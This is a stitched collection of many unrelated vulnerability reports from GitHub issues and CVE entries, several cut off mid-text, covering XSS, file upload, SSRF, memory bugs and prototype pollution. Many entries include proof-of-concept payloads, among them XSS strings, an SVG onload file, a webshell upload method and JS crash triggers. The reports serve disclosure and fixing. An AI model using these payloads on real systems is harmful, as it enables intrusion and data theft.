] | # The Vulnerabilities on GET Routes
For historical reasons some GET routes in Gitea do more than getting info and actually change state, for example /user/logout, and GET routes with action/:action in it. Current CSRF handler only checks POST routes, and thus leaves those GET routes vulnerable.
One particular route admin/notices/empty should probably be a POST i/o GET route.
# Strategies
We are working on a PR to address these vulnerabilities, and would like the community feedback on the best strategy.
## Option 1: reuse existing CSRF token + referrer-policy header (WARNING! BAD IDEA, Don't do this. See comments below for reason.)
In this option we will append the existing CSRF token to vulnerable GET routes as a query string, validate the token. A referrer-policy header can be set to same origin to prevent abuse of the token.
This option has less changes to existing code.
## Option 2: generate a new JWT token with a key exclusive for this purpose
In this option we will generate a new JWT token and send to the browser via a new cookie. This will have more changes to the code.
# Questions
## security concerns on reusing csrf token on URL
We are thinking to implement option 1, and have code already done. It has less code changes and hopefully can be merged soon. Are there any concerns on this option 1?
## response code or redirect
What should we do if the required token is missing or invalid? Should we redirect to home page, or return 403? Browsers treat 403 error code differently, for example Chrome on Mac displays the following message which may not be what you want.
```
This site can’t be reached
The web page at https://gitea.on-my-super-domain.dummy/user/logout might be temporarily down or it may have moved permanently to a new web address.
ERR_INVALID_RESPONSE
```
# Potential Impact
Both options require an extra handler on vulnerable routes to check the token in query string, and minor changes in URL in templates. While the PR can include the new token in default templates, this is potentially a breaking change to people using custom templates. The custom templates need to be updated to include the token in generated URL.

## Vulnerability overview
There is an arbitrary file upload vulnerability in the upload plugin function of the HYBBS management background, which can lead to server permissions.
## Vulnerability scope
All versions prior to HYBBS 2.3.3
## Vulnerability environment construction
Clone the latest code factory library of HYBBS to the local, and then use phpstudy to build HYBBS.
## Vulnerability reproduction steps
Make a malicious zip archive as shown below
Upload malicious zip archives in the management background upload plugin function
After uploading, it prompts that the upload was successful
It can be seen from the log of the folder monitoring software that HYBBS renamed the malicious compressed package and extracted it to the Plugin directory
## Vulnerability code analysis
Locate the code of the plugin upload function
HYBBS directly decompresses the compressed package and does not check the content of the compressed package, resulting in an arbitrary file upload vulnerability. | There is an arbitrary file upload vulnerability in the HYBBS upload plugin function | https://api.github.com/repos/hyyyp/HYBBS2/issues/33/comments | 1 | 2022-02-07T10:08:23Z | 2022-02-26T09:12:30Z | https://github.com/hyyyp/HYBBS2/issues/33 | 1,125,771,754 | 33 | 3,182 |

] | Dear Cybele Software,
My name is Daniel Morales.
I have found a vulnerability in Thinfinity VirtualUI that could allow a malicious actor to trigger a server-side request to external endpoints.
### Summary
External service interaction arises when it is possible to induce an application to interact with an arbitrary external service.
The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN)
### Payload
An example of the HTTP request "https://example.com/cmd?
cmd=connect&wscompression=true&destAddr=domain.com
&scraper=fmx&screenWidth=1918&screenHeight=934&fitmode=0&argumentsp=&orientation=0&browserWidth=191
8&browserHeight=872&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supp
ortsFullScreen=true&webapp=false" where "**domain.com**" is the external endpoint to be requested.
### Vulnerable versions
It has been tested in VirtualUI version 2.1.28.0, 2.1.32.1 and 2.5.26.2 | Vulnerability - External Service Interaction | https://api.github.com/repos/cybelesoft/virtualui/issues/3/comments | 1 | 2022-01-11T11:40:02Z | 2022-02-01T22:23:04Z | https://github.com/cybelesoft/virtualui/issues/3 | 1,099,046,708 | 3 | 3,183 |

Vulnerable file: modules/menu/menu.admin.controller.php. #menu_hover_btn menu_active_btn
Causes of vulnerability:
When uploading the Mouse over button and When selected button , there is no restriction on the file suffix, which leads to any file uploading to the files directory. Since .htaccess only restricts the PHP type, uploading HTML-type files leads to stored XSS vulnerabilities.
If the .htaccess configuration is improper, for example before the XE 1.11.2 version, you can upload the PHP type file to GETSHELL.

] | In `gif_get_code()`, in [image.cxx](https://github.com/michaelrsweet/htmldoc/blob/master/htmldoc/image.cxx), there is a stack out-of-bounds read in the following code:
```C
267 curbit = (curbit - lastbit) + 8 * last_byte;
268 last_byte += (unsigned)count;
269 lastbit = last_byte * 8;
270 }
271
272 for (ret = 0, i = curbit + (unsigned)code_size - 1, j = (unsigned)code_size;
273 j > 0;
274 i --, j --)
275 ret = (ret << 1) | ((buf[i / 8] & bits[i & 7]) != 0);
```
The expression `curbit - lastbit`, line 267, can result in an integer overflow when `lastbit > curbit`, updating `curbit` to a large number since it is unsigned. Later on line 272 the variable `i` is set to number less than `code_size`, since `curbit + (unsigned)code_size - 1` overflows, which results after a few iterations in a stack out of bounds read in `buf[i/8]`.
I've attached [poc.zip](https://github.com/michaelrsweet/htmldoc/files/7829400/poc.zip) that contains a malicious gif and a html file and triggers the out of bounds read resulting in a segmentation fault.
## Steps to reproduce
The following should result in a segmentation fault:
```
$ unzip poc.zip
$ htmldoc --webpage -f output.pdf crash.html
```
## Steps to analyse the crash on gdb
```
gdb --args htmldoc --webpage -f output.pdf ./crash.html
# set a breakpoint on gif_get_code
run
continue 3
# reached the gif_get_code that will crash

] | I found that piwigo Front-End can trigger xss，it means when the system administrator can trigger xss after logging into the backend
Please see below for details of the analysis
at first，We found a global filter in `include/common.inc.php`
it just handle GET, POST, COOKIE，then we can think whether it can be broken through other parameters
Then I found out that piwigo records the user's login and logout process
Take the exit process as an example(The login is also the same)，in `include/functions_user.inc.php`
```php
function logout_user()
{
global $conf;
trigger_notify('user_logout', @$_SESSION['pwg_uid']);
pwg_activity('user', @$_SESSION['pwg_uid'], 'logout');
$_SESSION = array();
session_unset();
session_destroy();
setcookie(session_name(),'',0,
ini_get('session.cookie_path'),
ini_get('session.cookie_domain')
);
setcookie($conf['remember_me_name'], '', 0, cookie_path(),ini_get('session.cookie_domain'));
}
```
After that, let's see what the `pwg_activity` function does in `include/functions.inc.php`
in this function，There is no filter parameter `$_SERVER['HTTP_USER_AGENT']`
then execute serialize and pwg_db_real_escape_string functions respectively
look at function(pwg_db_real_escape_string),it just prevent sql injection
```php
function pwg_db_real_escape_string($s)
{
return mysql_real_escape_string($s);
}
```
then we register a user`yyds\yyds`
then we click `logout`
then we just post like this，It is best to send more packages
```cmd
url:http://test.y4tacker.top/identification.php
User-Agent："><script>alert(`Hacked By Y4tacker`)</script><"
POST:
username=yyds&password=yyds&redirect=%2F&login=submit
```
Next, after the system administrator has logged in，and visit `http://xxx/admin.php?page=user_activity`
and look it

] | Vulnerability Name: Multiple Arbitrary File Deletion
Date of Discovery: 06 Feb 2022
Product version:cuppaCMS v1.0[Download link](http://cuppacms.com/files/cuppa_cms.zip)
Author: lyy
Vulnerability Description: When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker can leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.

] | Exploit Title: Dairy Farm Shop Management System — Use of Hard-coded Credentials in Source Code Leads to Admin Panel Access
# Date: 2020–12-25
# Exploit Author: VIVEK PANDAY
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10
# Linkedln Contact: https://www.linkedin.com/in/vivek-panday-796768149/
# CVE:2020-36062
**[ Hardcoded Credentials:]**
Hardcoded Passwords, also often referred to as Embedded Credentials, are plain text passwords or other secrets in source code. Password hardcoding refers to the practice of embedding plain text (non-encrypted) passwords and other secrets (SSH Keys, DevOps secrets, etc.) into the source code. Default, hardcoded passwords may be used across many of the same devices, applications, systems, which helps simplify set up at scale, but at the same time, poses a considerable cybersecurity risk.
**[Attack Vectors]**
An attacker can gain admin panel access using default credentials and do malicious activities
**Proof Of Concept**
1 Download source code from https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
2 Now unzip it and go to the Database folder here we can see one SQL file.
3 Now open that file using Notepad and there we can see admin credentials. but the password is encrypted .from pattern I identified that this is MD5 hash. so we can easily decrypt using crackstation.net or any hash cracker tools like Hashcat, John the ripper.
Mitigation:Always use a strong encryption algorithm like SHA-256 with SALT.Never use default credentials always change during installation time

CVE-2021-45385 | 2022-02-11T16:15:08.793 | A Null Pointer Dereference vulnerability exits in ffjpeg d5cfd49 (2021-12-06) in bmp_load(). When the size information in metadata of the bmp is out of range, it returns without assign memory buffer to `pb->pdata` and did not exit the program. So the program crashes when it tries to access the pb->data, in jfif_encode() at jfif.c:763. This is due to the incomplete patch for CVE-2020-13438. | {

There are two reachable assertions in add_tree_ipv4() (tree.c:538) and add_tree_ipv6() (tree.c:561) when the user uses tcpprep to open a crafted pcap file.
**To Reproduce**
Steps to reproduce the behavior:
1. get the tcpreplay source code (master 0ca82e3) and build it
2. run the cmd: `$ tcpprep --auto=bridge --pcap=$POC --cachefile=/dev/null`
The poc file could be downloaded in here:

] | Hi，there are SEVEN high-risk vulnerabilities in the Administrator background。please fix it as soon as possible。
Five Arbitrary file upload vulnerabilities。
In HelpManageAction.java、MembershipCardManageAction.java、QuestionManageAction.java、TopicManageAction.java、ForumManageAction.java，there are fllowing insecure code。
> if(file.getContentType().equalsIgnoreCase("application/octet-stream")){
> String fileType = FileType.getType(file.getInputStream());
> for (String format :formatList) {
> if(format.equalsIgnoreCase(fileType)){
> authentication = true;
> break;
> }
> }
> }
And the getType funciton code is bellow。
> public static String getType(InputStream inputStream) throws IOException {
> String fileHead = getFileContent(inputStream);
> if (fileHead == null || fileHead.length() == 0) {
> return null;
> }
>
> fileHead = fileHead.toUpperCase();
>
> for (Map.Entry<String,String> entry : type.entrySet()) {
> if(fileHead.startsWith(entry.getKey())){
> return entry.getValue();
> }
> }
> return null;
> }
if Content-Type is “application/octet-stream” ，the program will go to getType function，and the function does not strictly check file suffixes。
proof of content。
Login to the administrator first,then chose the topic list and upload a file。with burpsuite ，you can change the Content-Type parameter to application/octet-stream，and change the filename to 1.jsp。
you can find the webshell upload successfully。
The other is Zip Slip Vulnerability.
The problem lies in the system upgrade function.
The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../evil.sh).
UpgradeNow funciton in UpgradeManageAction.java unzip the uploaded zip file without check filenames .
_ZipUtil.unZip(updatePackage_path, temp_path);_
The hacker can exploit the website like this.
The third vulnerability is code injection.
Background management template.
you can edit the html file. so we can insert evil code as the html will be processed by freemarker engine.
when you access the website, the injected evil code will execute.

```cpp
Version : 0.7.0
Git Commit : bb796f7b3f3b65a78248f3ba86d0929eb292ca8e
OS : Ubuntu 20.04
Configure : ./Configure --address-sanitizer=YES
```
## Poc
```cpp
function main() {
function v0(v1,v2) {
return 1
}
var o = [1,2,3,4,5,6]
const v1 = new Promise(v0);
o.__proto__= v1;
const v5 = [o];
const v7 = Promise.race(v5);
console.log(o)
}
main();
```
## Analysis
The output of the above poc is as follows:
```cpp
Promise [1,2,3,4.000000000000001,5,6]
```
If I comment out Promise.race(v5):
```cpp
function main() {
function v0(v1,v2) {
return 1
}
var o = [1,2,3,4,5,6]
const v1 = new Promise(v0);
o.__proto__= v1;
const v5 = [o];
// const v7 = Promise.race(v5);
console.log(o)
}
main();
```
Then the output will be normal as follows:
```cpp
Promise [1,2,3,4,5,6]
```
This is because `njs_promise_perform_then` has Type Confusion vuln when dealing with promise objects. The code `data->is_handled = 1` will write the integer `1` to `is_handled` field of data that has been confused as `njs_promise_data_t`, although data may be of other types actually.
```cpp
njs_int_t
njs_promise_perform_then(njs_vm_t *vm, njs_value_t *value,
njs_value_t *fulfilled, njs_value_t *rejected,
njs_promise_capability_t *capability)
{
njs_int_t ret;
njs_value_t arguments[2];
njs_promise_t *promise;
njs_promise_data_t *data;
[...]
promise = njs_promise(value);
data = njs_data(&promise->value);
[...]
data->is_handled = 1;
[...]
return NJS_OK;
}
```
Therefore, when we try to change the data to the `Symbol` type:
```cpp
function main() {
const v1 = new Promise(()=>{});
Symbol.__proto__ = v1;
const v5 = [Symbol];
const v7 = Promise.race(v5);
}
main();
```
The following error will be reported as expected:
```cpp
Program received signal SIGSEGV, Segmentation fault.

We deliberately introduce the non-writable `njs_symbol_constructor` to prove the validity of the vulnerability. Of course, this primitive can be used to confuse OTHER types of objects, and combined with heap spray technology to achieve control flow hijacking.

**问题描述Description**
最近在公司内部渗透测试中发现某处引用的kkFileView 4.0.0存在任意文件读取漏洞，可通过漏洞读取主机任意文件，易造成敏感信息泄漏。
kkFileview v4.0.0 has arbitrary file read vulnerability which may lead to sensitive file leak on related host。
**漏洞位置vulerable code location**
``kkFileView/server/src/main/java/cn/keking/web/controller/OnlinePreviewController.java``文件103行，urlPath参数支持file协议
The vulnerable code is located at line 103 in ``kkFileView/server/src/main/java/cn/keking/web/controller/OnlinePreviewController.java``. The value which passed through param `urlPath` supports file protocol.
```java
/**
* 根据url获取文件内容
* 当pdfjs读取存在跨域问题的文件时将通过此接口读取
*
* @param urlPath url
* @param response response
*/
@RequestMapping(value = "/getCorsFile", method = RequestMethod.GET)
public void getCorsFile(String urlPath, HttpServletResponse response) {
logger.info("下载跨域pdf文件url：{}", urlPath);
try {
URL url = WebUtils.normalizedURL(urlPath);
byte[] bytes = NetUtil.downloadBytes(url.toString());
IOUtils.write(bytes, response.getOutputStream());
} catch (IOException | GalimatiasParseException e) {
logger.error("下载跨域pdf文件异常，url：{}", urlPath, e);
}
}
```

在renderDocument函数中的XMLDocument::getRoot函数对XMLDocument对象处理不当，在第二个if处提前返回一个空指针，造成renderDocument函数后面有空指针引用。
The XMLDocument::getRoot function in the renderDocument function handled the XMLDocument object improperly, returning a null pointer in advance at the second if, resulting in a null pointer reference behind the renderDocument function.

JDK版本： corretto_8_312
hutool版本： 5.7.18（请确保最新尝试是否还有问题）
### 问题描述（包括截图）
注意到 hutool HttpUtil 中 HttpConnection#setHttpsInfo 默认传入的 HostnameVerifier 是 DefaultSSLInfo.TRUST_ANY_HOSTNAME_VERIFIER，即：
```java
package cn.hutool.http.ssl;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.SSLSession;
public class TrustAnyHostnameVerifier implements HostnameVerifier {
public TrustAnyHostnameVerifier() {
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
}
```
查看 javax.net.ssl.HttpsURLConnection.DefaultHostnameVerifier 代码如下：
```java
/**
* <code>HostnameVerifier</code> provides a callback mechanism so that
* implementers of this interface can supply a policy for
* handling the case where the host to connect to and
* the server name from the certificate mismatch.
* <p>
* The default implementation will deny such connections.
*/
private static HostnameVerifier defaultHostnameVerifier =
new DefaultHostnameVerifier();
/*
* The initial default <code>HostnameVerifier</code>. Should be
* updated for another other type of <code>HostnameVerifier</code>
* that are created.
*/
private static class DefaultHostnameVerifier
implements HostnameVerifier {
@Override
public boolean verify(String hostname, SSLSession session) {
return false;
}
}
/**
* The <code>hostnameVerifier</code> for this object.
*/
protected HostnameVerifier hostnameVerifier = defaultHostnameVerifier;
```
从 doc 看到 HostnameVerifier 是一种 fallback 机制，当要连接的 host 与服务端证书 server name 不匹配时才有作用。并且 javax.net.ssl.HttpsURLConnection 的默认机制是这时候拒绝此类请求。而 hutool 则默认放行所有这类请求。
如果调用 cn.hutool.http.HttpRequest 时手动传入上面的 javax.net.ssl.HttpsURLConnection.DefaultHostnameVerifier：
```java
String result1 = HttpRequest.get("https://www.baidu.com")
.setHostnameVerifier(HttpsURLConnection.getDefaultHostnameVerifier())
.execute().body();
System.out.println(result1);
```
也会请求成功。按我理解这样才是合理的，如果服务端证书 server name 与 host 不匹配，应该中断请求才安全。请问我的理解是否正确？是不是其实 javax.net.ssl.HttpsURLConnection 的默认行为会有坑，hutool 才另外指定了 HostnameVerifier 呢？
谢谢。 | 默认的 HostnameVerifier 为什么选择 TrustAnyHostnameVerifier 呢？ | https://api.github.com/repos/chinabugotech/hutool/issues/2042/comments | 2 | 2021-12-26T12:41:33Z | 2024-03-12T02:30:59Z | https://github.com/chinabugotech/hutool/issues/2042 | 1,088,763,905 | 2,042 | 3,213 |

```javascript
var plist = require('plist');
var xml = `
<plist version="1.0">
<key>metadata</key>
<dict>
<key>bundle-identifier</key>
<string>com.company.app</string>
</dict>
</plist>`;
console.log(plist.parse(xml));
/**
* * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * END OF THE NORMAL CODE EXAMPLE! * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * *

var xmlPollution = `

<key>__proto__</key>
<dict>
<key>length</key>
<string>polluted</string>

console.log(plist.parse(xmlPollution).length); // polluted

Some time ago, there was fix for allowing only chrome extension to connect to server (PreMiD app), but I noticed that I can still access server by just selecting transport as `websocket`. It works on localhost and can be done on websites. It allows to receive and emit events to socket. Related to #501
## Steps to reproduce
- Go to https://ririxidev.github.io/index.html
- Open Console
- You should get two things from app:
- Version
- Discord User
and PreMiD app should open file dialog to "select local presence"
## Code to access socket
```javascript
const socket = io("ws://localhost:3020", { transports: ["websocket"] });
socket.on("connect", io => {
console.log("Sending event getVersion");
socket.emit("getVersion");
console.log("Sending event selectLocalPresence");
socket.emit("selectLocalPresence");
});
socket.on("receiveVersion", version => {
console.log(`App version: ${version}`);
});
socket.on("discordUser", user => {
console.log(`Discord user: ${user}`);
});

There is two heap-overflow vulnerability in function:
static int resolve_dependencies (Solver *solv, int level, int disablerules, Queue *dq)
at src/solver.c: line 1940 & line 1995
if (r->d == 0 || solv->decisionmap[-r->p] <= 0) // line 1940
if (solv->decisionmap[p] > 0) // line 1995
The first bug is caused by the dangerous variable “decisionmap[]”.
If the value of index “-r->p” is bigger than the size of “decisionmap[]”, there will be a heap-overflow bug.

The second bug is same with the above heap-overflow bug, which is caused by the dangerous variable “decisionmap[]”.
The index “p” is dependent on variable “dp”, and variable “dp” is equal with pool->whatprovidesdata + r->d.
If the value of index “p” is bigger than the size of “decisionmap”, there will be a heap overflow vulnerability.
Our PoC file can make the value of index “p” is bigger than the size of “decisionmap”.

CVE-2022-23652 | 2022-02-22T20:15:07.763 | capsule-proxy is a reverse proxy for Capsule Operator which provides multi-tenancy in Kubernetes. In versions prior to 0.2.1 an attacker with a proper authentication mechanism may use a malicious `Connection` header to start a privilege escalation attack towards the Kubernetes API Server. This vulnerability allows for an exploit of the `cluster-admin` Role bound to `capsule-proxy`. There are no known workarounds for this issue. | {

] | Some of the methods exposed via dbus are not covered by the [current default policy](https://github.com/USBGuard/usbguard/blob/master/src/DBus/org.usbguard.policy). This includes the `getParameter` and `setParameter` methods.
On a default debian install, as unprivileged user:
```
$ usbguard get-parameter InsertedDevicePolicy
ERROR: IPC connect: service=usbguard: Operation not permitted
$ dbus-send --system --print-reply --dest=org.usbguard /org/usbguard/Policy org.usbguard.getParameter string:"InsertedDevicePolicy"
method return time=1549540531.655300 sender=:1.79383 -> destination=:1.120734 serial=97 reply_serial=2
string "apply-policy"
```
This can be fixed by adding these to the current policy configuration. However, having 2 buses and 2 ACLs makes the administration of any deployment tedious. There is always a risk of future methods to be exposed. Ideally, dbus should be the only bus exposed and the libqb bus dropped. | No default ACL on some dbus methods | https://api.github.com/repos/USBGuard/usbguard/issues/273/comments | 4 | 2019-02-07T12:11:36Z | 2022-02-14T09:54:59Z | https://github.com/USBGuard/usbguard/issues/273 | 407,669,808 | 273 | 3,224 |

The [usbguard policy config](https://github.com/USBGuard/usbguard/blob/master/src/DBus/org.usbguard1.policy) is not parsed anymore by new versions of Polkit, and the defined actions are unavailable.
#### proposed solutions
* `auth_self_keep_session`: allowed executing an action after authenticating, and the redo the action without auth for all the rest of the session.
It is now unavailable
* `auth_self_keep`: the authorization is kept for a brief period (e.g. five minutes).
It is most probably not retro-compatible. (I found no reference online of `auth_self_keep` on pages mentioning `auth_self_keep_session`)
* `auth_self`: You have to re-authenticate at each call of the action.
This argument is retro-compatible.
Should we replace occurrences of `auth_self_keep_session` with `auth_self_keep` or `auth_self`? | Polkit policy is not valid with newest versions of Polkit | https://api.github.com/repos/USBGuard/usbguard/issues/403/comments | 1 | 2020-08-07T17:54:42Z | 2022-02-14T09:54:59Z | https://github.com/USBGuard/usbguard/issues/403 | 675,176,585 | 403 | 3,225 |

I have found Cross Site Scripting (XSS) bug in subrion CMS version 4.2.1 in the Create Page functionality of the admin Account.
Steps to Reproduce:
just login as admin and clink this url https://demos.subrion.org/?demo=core&admin=1
As an admin Create test page
In the Add a Page section go to the Page Content then clink “image” choose local file 123.svg to upload in url :https://demos.subrion.org/_core/admin/elfinder/?mode=image&CKEditor=contents%5Ben%5D&CKEditorFuncNum=1&langCode=en#elf_l1_Lw
the content of 123.svg：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
```
<svg
onload="alert('xss attach')"
xmlns="http://www.w3.org/2000/svg">
</svg>
```
copy the url of 123.svg then and a link to page content:
save the new page and open new page:http://localhost/123.html
Xss prompt box will pop up
Impact: Session cookies can be stolen , user can be redirected to phishing pages , browser of the user visiting this page can be controlled etc.
POC's have been uploaded.

] | There exists one Memory-leak bug in printfileinfo, in printinfo.c, which allows an attacker to leak the address of heap or libc via a crafted file.
To reproduce with the attached poc file:
[poc.zip](https://github.com/mpruett/audiofile/files/7986695/poc.zip)
Heap address leak:
./sfinfo ./heapleak_poc.aiff
Result(See the output of Copyright):
```
$ ./sfinfo ./heapleak_poc.aiff
File Name ./heapleak_poc.aiff
File Format Audio Interchange File Format (aiff)
Data Format unknown
Audio Data 0 bytes begins at offset 0 (0 hex)
0 channel, -1 frames
Sampling Rate 0.00 Hz
Duration -inf seconds
Copyright C��U
```
Libc address leak:
./sfinfo ./libleak_poc.aiff
Result(See the output of Copyright):
```
$ ./sfinfo ./libleak_poc.aiff
File Name ./libleak_poc.aiff
File Format Audio Interchange File Format (aiff)
Data Format unknown
Audio Data 0 bytes begins at offset 0 (0 hex)
0 channel, -1 frames
Sampling Rate 0.00 Hz
Duration -inf seconds
Copyright Copyright 1991, (d��i
```
**This vulnerability can be triggered anywhere the printfileinfo function is called, for example, sfconvert.**
**The poc.py will help you to calculate the address, which is test on Ubuntu 20.04, python2.**
Usage of poc.py:
```
$ python2 poc.py heap
[+] Starting local process './sfinfo': pid 17868
[*] Process './sfinfo' stopped with exit code 0 (pid 17868)
[+] heap_leak:0x55b2425d4243
[+] heap_base:0x55b2425c2000
$ python2 poc.py lib
[+] Starting local process './sfinfo': pid 17920
[*] Process './sfinfo' stopped with exit code 0 (pid 17920)
[+] lib_leak:0x7f3d0cbf5428
[+] libaudiofile_base:0x7f3d0cbc9000
[+] libc_base:0x7f3d0c9bf000
```
The audiofile project is built with:
```
$ ./autogen.sh --disable-docs --prefix=OUTPUT_DIR
$ make
$ make install
```
### Descrtption of the Vulnerability:
**First**, the printfileinfo function calls the copyrightstring function to get data:
```
//printfileinfo function, printinfo.c
bool printfileinfo (const char *filename){
...
char *copyright = copyrightstring(file);
if (copyright)
{
printf("Copyright %s\n", copyright);
free(copyright);
}
...
}
```
**Second**, the copyrightstring function obtains copyright information from the file and returns a string pointer:
```
//copyrightstring function, printinfo.c
static char *copyrightstring (AFfilehandle file){
...
int datasize = afGetMiscSize(file, miscids[i]);
char *data = (char *) malloc(datasize);
afReadMisc(file, miscids[i], data, datasize);
copyright = data;
break;
...
}
```
**However, it forgets to use memset or zero bytes to prevent the Memory-Leak Vulnerability.
Most importantly, the attacker can control the length of the memcpy when copying the copyright string, in the afReadMisc function, in Miscellaneous.cpp:**
```
//afWriteMisc function, Miscellaneous.cpp
int afWriteMisc (AFfilehandle file, int miscellaneousid, const void *buf, int bytes)
{
...
int localsize = std::min(bytes,
miscellaneous->size - miscellaneous->position);
memcpy((char *) miscellaneous->buffer + miscellaneous->position,
buf, localsize);
miscellaneous->position += localsize;
return localsize;
...
}

] | ## 1. Unique Bugs Found
Recently we ([Zhang Cen](https://github.com/occia), [Huang Wenjie](https://github.com/ZanderHuang) and [Zhang Xiaohan](https://github.com/Han0nly)) discovered a series of bugs in latest metadta-extractor (2.16.0).
Every bug we reported in the following is unique and reproducable. We sorted and refined them from thousands of crashes.
Furthermore, they have been manually analyzed and triaged in removing the duplicates.
<br />Due to the lack of contextual knowledge in the metadta-extractor library, we cannot thoroughly fix some bugs hence we look forward to any proposed plan from the developers in fixing these bugs.

] | Hi, I found Stored XSS in Piwigo version 12.2.0 (Not tested older versions).
**Proof Of Concept**:
1. Add an admin through webmaster's access.
2. Through the admin account open http://localhost/piwigo-12.2.0/piwigo/admin.php?page=cat_list
3. Add < svg onload=alert(1)> (Remove space) in the group name field.
Can use any malicious JS code, Now you can see XSS will pop-up.
**Impact:**
In this way admin can easily takeover webmaster's access using [this technique](https://github.com/R0B1NL1N/WebHacking101/blob/master/xss-reflected-steal-cookie.md).
**Burp:**
```

### Description:
The current two factor authentication solution sets 2fa to enabled without requiring a confirmation (via TOTP) that the authenticator app is actually set up.
### Steps To Reproduce:
The current solution works like this:
1. `POST /user/two-factor-authentication`, the user's `two_factor_secret` is stored. (2fa is now enabled!)
2. `GET /user/two-factor-qr-code`, show QR code and ask user to scan the code with their app.
3. `GET /user/two-factor-recovery-codes`, show recovery codes and ask the user to save them.
4. User abandons the process before setting up their authenticator app or saving the recovery codes and is now **locked out of their account**.
They could abandon the process because they first need to choose one of the many TOTP generators in the app store, and get side tracked, or their session times out, or they click the back button, or close their tab, or their computer crashes, ... Definitely 2fa must not be enabled before it is confirmed by a generated OTP.
### How To Fix It:
1. `GET /user/two-factor-qr-code` generates a QR code from a new two factor secret that is **stored in the session**.
2. `GET /user/two-factor-recovery-codes`, show the recovery codes to the user, ask them to save them.
3. The user is asked to set up their authenticator app with this QR code and enter a resulting TOTP code. This confirms that they have set up their authenticator (else they cannot generate a valid code), and can also (by written explanation) be used as confirmation that recovery codes were stored in a safe place.
4. `POST /user/two-factor-authentication`, receives a new parameter: `code`. **The code is validated using the two factor secret stored in the session.**
5. If the code is valid, **the two factor secret from the session is written into the user table** (= enabling 2fa, now for real). If not, then the response indicates that the user did not enter a valid code and must re-try. | Current 2FA solution can lock users out of their accounts | https://api.github.com/repos/laravel/fortify/issues/201/comments | 39 | 2021-01-17T19:39:15Z | 2022-02-28T15:24:44Z | https://github.com/laravel/fortify/issues/201 | 787,778,846 | 201 | 3,238 |

- [Y ] I have written a descriptive issue title
- [Y] I have verified that I am using the latest version of ImageMagick
- [Y] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported.
### Description
<!-- A description of the bug or feature -->
There is a segmentation fault caused by the NPD in function ReadSVGImage, svg.c:3621 in ImageMagick 7.0.10.
ImageMagick does not check the nullity of the pointer returned from libxml2 and dereference it directly.
This directly leads to program crashes and segmentation fault.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
1, To ensure reproduce, I use up space in the /tmp folder as a low-level privilege user.
For example, to facilitate the reproducation,
~~~~
fallocate -l size_of_the_tmp_folder /tmp/test.img
~~~~
2, Run:
~~~~
magick convert poc ./test.ps
~~~~
[seg-svg3621.zip](https://github.com/ImageMagick/ImageMagick/files/5280857/seg-svg3621.zip) (unzip first)
Here is the trace reported by ASAN:

## Description
We found with @OctavioGalland an ELF64 binary for MIPS architecture that hangs when analysed.
We think this is caused by mapping a huge section that is interpreted as NOPs. If we modify the size of the section, the analysis doesn't hang. While this is not an infinite loop, it can be very long. And this has been acknowledged as a DoS in the past (see #18923).
## Test

In this repository we have made and example vulnerable application and proof-of-concept (POC) exploit of it.
## Proof-of-concept (POC)
As a PoC we have created a python file that automates the process.
#### Requirements:
```bash
pip install requests
```
#### Usage:
```bash
python3 poc.py
```
#### Source:
```python

```
#### Result:
#### Our vulnerable application
waline deploy:
- @waline/vercel 1.6.0
- @waline/client 1.5.2
data store:
- LeannCloud
get started:
https://waline.js.org/guide/get-started.html
#### Influence
IP-based comment posting frequency limits IPQPS may be rendered useless.
This vulnerability can be used to fake the IP address and bypass the IP frequency limit of the comment system software(waline), so that the comment system administrator cannot accurately obtain the IP address of the sender.
#### Reason
This vulnerability is usually caused by a misconfiguration on the server side.
#### References
- [#785](https://github.com/walinejs/waline/issues/785)
- [#792](https://github.com/walinejs/waline/discussions/792)
#### Exploit in the field
According to the issues of Github of the project waline, from July 18 to July 20, 2021, an attacker bombarded all websites using Waline by Posting spam comments with faked IP addresses, so it is speculated that this vulnerability has been exploited in the field.

- [#427](https://github.com/walinejs/waline/discussions/427)
#### Solutions
Software maintainers have provided a solution to this vulnerability.
There is nothing we can do about it on vercel. But we should be able to block these requests on a self hold env.(https://github.com/walinejs/waline/discussions/792#discussioncomment-2108838)
In self host mode, we can set maxIpsCount to proxy server layers to get a real ip. https://koajs.com/#settings (https://github.com/walinejs/waline/discussions/792#discussioncomment-2109039)

Il y a un petit soucis dans le contrôle des fichiers uploadés via le file upload du module ITSM.
La possibilité d'uploader du format XML devrait se suivre d'un contrôle du dit fichier, en l'état il est possible d'uploader (via un user authentifié), un document XML contenant une XSS ou d'autres joyeusetées malicieuses.

## Bug report
### Describe the bug
There is a security vulnerability in Strapi that prevents our deployment pipeline from running. There is already a fix implemented for v4.x, but upgrading is not on our short-term road map for now. It seems like the fix from v4 can be copied to v3 1 on 1, but since I've never contributed to this repository I was hoping there was someone willing to back-port the fix to v3.

This vulnerability was reported to the maintainers on **Nov 23rd, 2021**, and there has been no response yet. So, I infer it makes sense to publish it publicly here for the good sake of everyone who is using this software actively.
# Description
DOM XSS in login.php GET parameter `key`.
The input to `key` GET parameter is unsanitized as required for the context (javascript context ), and gets reflected in the DOM.
# Proof of Concept
### Occurrence 1 : Request param `key`
Request:
```
